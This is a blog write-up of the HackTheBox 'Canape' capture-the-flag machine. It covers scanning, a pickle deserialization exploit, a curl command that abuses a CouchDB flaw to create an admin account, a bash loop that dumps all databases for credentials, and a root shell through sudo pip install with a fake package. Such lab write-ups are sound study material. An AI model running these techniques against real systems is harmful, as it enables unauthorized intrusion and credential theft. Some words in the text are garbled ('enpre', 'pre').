Hackthebox: Canape Write-up

This box was by far the hardest one I have actually taken from boot to root and I really enjoyed figuring out how to get it working (after getting it, of course… the process was frustrating as all hell).

Recon and scanning

Alright, let’s hit the server with some initial scans and see what we get:
[py]nmap -sV -sC -oA canape[/py]
[py]Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-31 13:13 CDT
Nmap scan report for
Host is up (0.074s latency).
Not shown: 999 filtered ports
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-git:
| Git repository found!
| Repository description: Unnamed repository; edit this file ‘description’ to name the…
| Last commit message: final # Please enter the commit message for your changes. Li…
| Remotes:
|_ http://git.canape.htb/simpsons.git
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Simpsons Fan Site
|_http-trane-info: Problem with XML parsing of /evox/about[/py]

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.97 seconds

We’ve got a web server with a git repository and it looks like not much else. Based on my experience with these boxes, there’s usually at least a way to SSH into the server so I set nmap to do a full range port scan (these usually take a while, so good to let it run in the background while investigating):

[py]nmap -p-
65535/tcp open unknown[/py]

Alright, so there was an additional port that was open, and upon navigating to this was returned to me:

[py]SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4[/py]

So they have an updated version of SSH running on the server, I set hydra running in the background to attack this just in case there was some low hanging fruit but after letting it run for a few hours with no results decided it was a dead end until we got some credentials.

While hydra was running I decided to check out the actual webpage and we are given a Simpson’s fan site with the ability to “submit quotes” to the page for review. Being able to submit any form of user content to a server makes me think injection or deserialization but until we know more information it’s just an idea.

Submit an injection? Got it.

Since we have a web server, I figured it wouldn’t be a terrible idea to run dirbuster against it and see if there were any hidden pages on the site. When running both dirbuster and gobuster against the site it returns a random string of characters in the “results”, so the creator of the site has something set up to prevent directory brute forcing. It did manage to find “/.git” and “/check”, so not a total waste of time and I decided to navigate to to see what was going on in there.

This looked like a full on git repository, so I did a recursive wget call on it to see if there was anything useful I could find if I had control of the git repo.

[py]wget –recursive[/py]

There were a lot of folders and files in this as was expected, but I went ahead and ran a “git extractor” to put together the pieces for the checkouts and modifications made over time by the owner of the git repo.

Git Extractor on Github

This gives you a nice clear breakdown of each git commit on the server so we can see where the owner may have made some changes that we can potentially exploit. Looking through some of the folders it seems that they removed some sort of ‘check’ from the web page:

and going to the “/check” webpage:

We aren’t allowed to “GET” this page, so more than likely this page is expecting a POST, so something to think about for later. I headed back over to my downloaded git repo and looked at the very first /submit page that the owner had in the repo and found this bit of pre in the __init__.py:

Exactly what we need to start throwing some stuff at this POST page, we now know that the server uses a python library called “Pickle” to serialize user input data and a quick google search of pickle exploit comes up with so many hits I felt like this must be the way to get into the server (spoiler: it was).

Getting RCE with bad Pickling

This part of the box was the part I beat my head against for about 9 days straight on and after this: getting user took about 3 hours, then root about 45 minutes. I’m going to just truncate this section of the walkthrough and show you what actually ended up working.

The steps that happened to get RCE were:

  1. Pass the whitelist check (see the picture above)
  2. Include malicious pickled payload in the submission
  3. Server then stores the malicious payload in a file
  4. Access that file on the server on the /check page
  5. Server unpickles the payload and executes pre serverside for us

I learned a crazy amount about the Pickle library during this one, and I’ll include some links at the bottom to some of the research and information I found while doing it. I probably had 3700 tabs open at one point, so I’ve tried to only include the most useful ones I used.

As with all things Python, there’s always a way to automate the task you’re doing and with some help from HTB forum user “otoman” I was able to get RCE on the server with the script on github. When I was writing my own script for this part of the box I was making the mistake of doing it in stages instead of having the entire process lumped into one smooth running script as “otoman” did. I managed to get the passwd user list file copied over and was able to view some users, but ultimately I couldn’t tune my script exactly right to get the reverse shell I knew was possible. It was frustrating to know how close I was to scripting this perfectly, but I learned a lot in the process and that’s always invaluable.

I learned a crazy amount about the Pickle library during this one, and I’ll include some links at the bottom to some of the research and information I found while doing it. I probably had 3700 tabs open at one point, so I’ve tried to only include the most useful ones I used.

Call me the Internet ‘cuz I’m www-data, baby

After getting the reverse shell working, it was time to figure out how to get an actual user from the box since as with most reverse-shells resulting from injection you’ll only end up as an unprivileged www-data user and this one was no different. The first step any time I get shell on a server I check if I have write access in the /tmp folder then I can see if Python is available on the terminal for a quick and easy enumeration with LinEnum … which I did, so I did.

Enumeration as www-data user gave us back a bunch of useful information, but key to figuring out how to grab a user’s credentials was in finding that the webpage is using version 2.0.0 of CouchDB. I did some quick Googling and there were a bunch of pages on it being vulnerable but only one really good example of how to get this to work. An unauthorized user is able to create a new admin account on the CouchDB with this vulnerable version, so it took a little crafting but this little snippet got us an admin account on the database:

[py]curl -X PUT ‘http://localhost:5984/_users/org.couchdb.user:okiguess’ –data-binary ‘{"type": "user", "name": "okiguess","roles": ["_admin"],"roles": [],"password": "password"}'[/py]

Since I now have an admin account with this database, I was able to pull all of the information from all of the databases on the CouchDB server with a nice little bash script I tweaked from a stackoverflow post asking about the exact same thing (of course, their question didn’t have to do with getting credentials but hey… it worked).


string=$(curl -X GET http://okiguess:password@localhost:5984/_all_dbs | sed ‘s/\[//’ | sed ‘s/\]//’ | sed ‘s/\"//g’)

IFS=’, ‘ read -a array <<< "$string"

for database in "${array[@]}"
$(curl -X GET http://okiguess:password@localhost:5984/$database/_all_docs?include_docs=true >> allData.txt)

So that will pull ALL the information we want from the database as the “admin” user that we created a minute ago so that we can (hopefully) find some credentials to SSH into the box with.


Sweet, looks like we have some credentials now and after SSH’ing into the server on port number 65535 the password works and we officially have a real user on the box.

User to root

Now that I’m in the box as user “homer” it’s time for the same song and dance from earlier with some LinEnum, but this time after searching through the resulting report I found that the server is also using an outdated version of “Sudo”.

[py]### SOFTWARE #############################################
[-] Sudo version:
Sudo version 1.8.16[/py]

Now that’s a pretty big deal, and running the command [py]sudo -l[/py] tells us that:
[py]User homer may run the following commands on canape:
(root) /usr/bin/pip install *[/py]

Then a quick little google search later for “fake pip install” leads us to an oh-so-handy Fake Pip Creator that will initiate a reverse shell on the server as a fake Pip installation. Copying over the python script to the remote server and executing [py]sudo /usr/bin/pip install . –upgrade –force-reinstall[/py] while setting up a netcat listener in another terminal locally gives us a root connection to the server and from there the box is officially pwned!

Wrap-up and thoughts

I can’t tell you how frustrating it was dealing with the pickle deserialization aspect of this box, but the biggest takeaway from it is that sometimes you’ve just gotta take a step away and look with fresh eyes. In my case I was simply missing the fact that I needed to enpre the payload with base64, something that I knew from reading the __init__.py source pre but just overlooked over and over again.

Leave me any questions or comments below and here’s the links I felt were useful to me for this box:










Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.